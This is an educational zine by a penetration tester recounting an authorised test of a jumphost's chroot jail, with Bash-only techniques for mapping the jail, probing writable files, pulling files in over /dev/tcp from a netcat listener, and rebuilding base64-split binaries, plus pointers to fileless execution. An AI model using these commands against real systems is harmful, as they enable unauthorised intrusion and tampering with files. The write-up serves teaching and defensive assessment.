The tale of the relentless restraints

F	Cover	
1	Intro	Hi there! I'm Tess, an InfoSec enthousiast from the Netherlands. I often give short classes about things like PKI, pen-testing and security basics. Blog: https://www.kilala.nl Twitter: @TessSluijter Github: https://github.com/tsluyter @sailorhg and @b0rk inspired me to try something new: sharing stuff I've learned through zines! So here we are! This is my second zine in the series "*Things I've Learned*". I was recently asked to try and escape from a so-called jumphost: a stepping-stone server that locks you into a very limited environment, meant as a bastion to protect administrative logins to servers. In "*The tale of the relentless restraints*" I would like to share a few cool things I learned during these tests, focusing mostly on Bash tomfoolery.
2	Intro	A hop, skip and jump! The working environments of end-users (think: your office) are generally pretty risky, with lots of PCs accessing the Internet all day. If a virus or other malware finds its way into the offices, you don't want them to spread to your servers! In corporate IT environments, one common best-practice is to safely tuck away admin access to servers behind a stepping stone (or jumphost) server. Engineers who need to work on a server, will first login to the stepping stone, from where they can connect to the target system. I was asked to assess the security of a new jumphost.

3	Jailing	When I got access to the jumphost, I was told that "*all you can do, is SSH to another host*". I assumed that, among other things, this meant I would be working in a "chroot jail": a "changed root". The "root directory" of a file system is its base, its origin: the starting location for all files and directories. In Windows this would be "C:\", in Unixen it's "/". With "chroot" you create a new set of directories somewhere in the file system. It will then fake a running process into believing that this set of directories is its full file system. For example, if you make "/var/chroot" and then include a few essentials such as "bin/bash", a few files in "dev" and "lib" and so on, this directory can serve as the "chroot jail" for a user logging in through SSH. The user will have a mini environment from which they cannot escape. And thus they cannot touch any of the files on the "real" server.
4	LS	So. I'm stuck in a jail. It's dark, and I'm mostly blind. How can I start exploring my cell? In the case of this jumphost, they didn't even provide me with the "ls" command! Bash to the rescue! That's the "*Bourne Again Shell*", one of Linux' many available operating environments. Bash offers wildcard expansion in its command input. Normally this would let me do "ls /*" or "cat *.txt", but I don't have any of those commands. I will have to rely upon Bash's built in commands, one of which is "echo". If I "echo *", Bash will output the name of each file in the current directory. If I "echo */*", Bash will echo the names of the files in each of the directories in the current directory. By simply stacking on more and more asterisks and directory levels, I can start mapping out my chroot jail! Thus I learn that there's a bunch of libraries in /lib, there's a limited but working /proc and I only have four Linux commands at my disposal: hostname, id and ssh.

5	Writing	If I want to load any malware or scripting to help me break out of my jail, I'm going to need a location to write data into. With most jails, this will be very limited or even impossible. On Linuxen, you'd normally use the "find" command to search for files where your account would have write access.
		
		Since I don't have that command, let's take some risks! Like before, we'll repeat the following (like before) for /*/*, /*/*/*, /*/*/*/* and so on.
		
		for FILE in /*/*
		do
		  if [[-f ${FILE}]]
		  then
		  printf '%s' "$x" >> ${FILE}
		  [[$? -eq 0]] && (echo "===== ${FILE} ")
		  elif [[-d ${FILE}]]
		  then
		  printf '%s' "$x" >> ${FILE}/testfile
		  [[$? -eq 0]] && (echo "===== ${FILE} ")
		  fi
		done
		
		This will clearly mark files and directories that I can write into. Writing into random files can of course break stuff, so be careful!

6	Dot source	

On our search for writable files, I've found a few none-too-interesting files in the /proc file system (also because they do not offer persistence across reboots), plus one other: "/etc/ssh/known_hosts". This is used by SSH clients to store the identification keys of other servers they've communicated with.

The "known_hosts" file is not executable, but in the very least we can store long and complicated shell scripts in there so we can dot-source them:

```
$ echo '#!/bin/bash' > /etc/ssh/known_hosts
$ echo 'echo hello' > /etc/ssh/known_hosts
$ /etc/ssh/known_hosts
  bash: /etc/ssh/known_hosts: permission denied
$ . /etc/ssh/known_hosts
hello
```

I could copy/paste a very large script in there, but sometimes pasting breaks long lines. It's been known to happen. :) It'd be cool if we could transfer files into the host! SCP and SFTP are out of the question though, since the needed binaries are absent.

7	File transfer	Right about now, I'm very happy that they gave me the Bash shell to work with, because it has lots of built in magic. Let's see if we can use "network redirection":
		
		$ echo 1 > /dev/tcp/localhost/22
		$ echo $?
		0
		
		Nice! It hasn't been disabled on this jumphost! Now we can transfer files into the host:
		
		On my laptop (192.168.10.20) I run:
		
		$ cat testfile.txt | nc -lnvp 8080
		
		And on the jumphost I then run:
		
		$ printf '%s' "$x" > /etc/ssh/known_hosts
		$ while IFS= read -r LINE; do
		printf '%s\n' "${LINE}" >> /etc/ssh/known_hosts
		done < /dev/tcp/192.168.10.20/8080
		
		The Netcat session on my laptop shows an incoming connection! After a second or two I control-C to close the session. The loop on the jumphost also closes automatically.
		
		"/etc/ssh/known_hosts" now contains the contents of "testfile.txt" on my laptop.

8	Base64	We can now safely transfer very large and complex shell scripts to our jailed jumphost. What's next? It'd be cool if we could add more functionality into the jail by adding binaries, right? Since we only have a plaintext channel at our disposal, we will need to encode the binary files so they match the channel. One commonly used encoding is Base64 [LNK], which works by replacing groups of three binary bytes (24 bits) into sets of four Base64 characters (also called "digits"). There are many tools that perform Base64 encoding including the Linux commands "base64" and "openssl". There are other binaries, as well as plenty of scripts in Perl, Python, etc. But none of those will work in this case. I had to hunt around for a pure-Bash implementation of Base64. I was lucky enough to stumble upon Vladz's "base64.sh" [LNK], that offers both encoding and decoding. The encoding function requires additional tools (like "bc"), but the decoder is 100% pure Bash! On my laptop I will need to massage the output a little bit, but that's fine! $ echo "Open sesame!" | base64 | tr -d "\n" | sed -r "s/(.{4})/\1 /g" T3Bl biBz ZXNh bwUh Cg== That's just an example. It works just as fine for any binary!

9	Rebuild	Bash variables don't have a practical limit to their size and contain megabytes of ASCII data. We could take the tool we want to have at the jumphost, compile it statically (so it doesn't require separate libraries) and store it as a Base64 encoded variable. Depending on what tool it is, this could range from hundreds of kB to multiple MB. There's just one issue: during testing I find out that the Netcat-to-/dev/tcp pipe has a line-length limit of 4kB. That means we'll have to split the encoded binary into multiple strings on my laptop, before transferring it all across the network. It looks horrible, but it works! $ cat /bin/ls | base64 | tr -d "\n" | sed -r "s/(.{4})/\1 /g" | split -b 4000 This creates 300+ files, with sequential names like "xaa", "xab" and so forth. Using a simple shell script we can read the contents of each file and build our large attack-script in such a way that it concatenates them together into one large variable. for FILE in $(ls "./x??") do echo "BASE64=\"${BASE64} ${cat ${FILE}}\"" >> attack.sh done
10	Complete	

Now, the end result of the attack script becomes HUGE. It spans dozens of dozens of pages, so I'm not going to copy it here. (^_^) Instead, here's some meta code.

```
#!/bin/bash

### Definitions from Vladz's script
base64_charset = ... ...
text_width = ... ...
function display_base64_char { ... ... }
function decode_base64 { ... ... }

### Base64 encoded binary
Base64="... ..."
Base64="${Base64} ... ..."
Base64="${Base64} ... ..."
... repeat 300+ times

printf '%s' "$x" > /etc/ssh/known_hosts
for chars in ${Base64}
do
    decode_base64 ${chars} >> /etc/ssh/known_hosts
done
```

11	Dead end	And unfortunately, that's where this ends! I can properly encode, split, transfer, decode and rebuild a binary tool on the target jumphost. But I can't execute it because "known_hosts" is not marked as executable. There are in fact ways of making Linux run arbitrary code, but those require the use of higher-level programming languages to make system calls. Interpreted languages like Python and Perl will do nicely, but so will a little bit of C code. It is possible to use the mfd_create and execve system calls to open, write into and execute from memory space in such a way that it fully bypasses the file system. This is often used in file-less attacks on Linux hosts, in hopes of not triggering malware defenses. The reading list on the next page has a few cool articles describing multiple implementations of this attack. There's also NetELF and ELFExec that accept a compiled binary through their stdin channel! Really cool stuff! If only I had a little more wiggle-room <u>Conclusion:</u> The only real improvement I can recommend to the jumphost team, is to replace the end-user's shell with Restricted Bash (rbash or "bash --restricted"). This completely nullifies everything I demonstrated.
12	Sources	

You can also find these links on my Github, at https://github.com/tsluyter/Zines Sources: [N] https://en.wikipedia.org/wiki/Base64 [N] https://vladz.devzero.fr/svn/codes/bash/base64.sh Further reading: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html https://blog.fbkcs.ru/en/elf-in-memory-execution/ https://0x00sec.org/t/super-stealthy-droppers/3715 https://github.com/abbat/elfexec https://github.com/XiphosResearch/netelf https://github.com/earthquake/chw00t		
B	Cover	I hope you enjoyed this zine! You will find my other projects at: https://github.com/tsluyter CC-BY-NC-SA Tess Sluijter, 2019
		UPDATE: https://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod Mike uit mijn Linux+ klas kwam er mee aan dat /lib64/ld-linux-x86-

64.so.2 een ELF binary inlaadt... of ie +x is of niet.		